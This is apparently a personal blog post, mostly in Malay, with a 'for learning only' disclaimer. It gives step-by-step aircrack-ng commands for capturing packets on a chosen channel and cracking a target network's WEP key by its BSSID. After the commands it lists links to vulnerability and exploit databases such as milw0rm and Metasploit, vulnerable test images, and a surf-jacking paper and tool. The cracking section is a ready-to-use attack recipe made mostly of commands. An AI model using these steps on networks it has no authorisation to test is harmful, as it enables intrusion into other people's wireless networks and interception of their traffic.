Cracking WEP key's

Salam,
Saja ja tulis supaya tak lupa (**DISCLAIMER : hanya untuk pembelajaran)

Install aircrack-ng

*debian base distro(ubuntu, mepis..bla bla bla..)
sudo apt-get install aircrack-ng

*RH base distro (CentOS, Fedora..blabla..)
yum install aircarack-ng


Pastu mulakan aircrack-ng dan bair ia search wlan network

sudo airodump-ng wlan0

kemudian pilih "channel" untuk dump IV's
(contoh disini kita gunakan channel 11... kalau detect channel ntv9 pon bole..ehehe)

sudo airodump-ng -c 11 -w dump wlan0

tunggu sampai ia collect 500K IV's

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

NOTE: The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.

Tunggu.. walla..

Settle... muahh..hehe

Comp-Security Link

vulnerabilities

http://www.osvdb.org/
http://www.securityfocus.com/bid
http://www.packetstormsecurity.org/ http://www3.ca.com/securityadvisor/vulninfo/
http://secunia.com/product/ http://www.security.nnov.ru
http://cve.mitre.org/
http://elsenot.com/index.php?title=ElseNot_Project
http://www.cisecurity.org/
http://secwatch.org/
http://www.securiteam.com/

exploits

http://milw0rm.com/
http://www.frsirt.com/exploits/
http://www.metasploit.com/projects/Framework/
http://www.security.nnov.ru/exploits/
http://www.securityforest.com/wiki/index.php/Category:ExploitTree
http://www.exploitdatabase.com/
http://securitydot.net/
http://www.hoobie.net/security/exploits/index.html
http://www.securiteam.com/exploits/

Test Machine/Image
http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project
http://www.damnvulnerablelinux.org/

New Nmap Features

Read here

HTTPS not safe anymore???

Read Here
http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf

Tools
http://code.google.com/p/surfjack/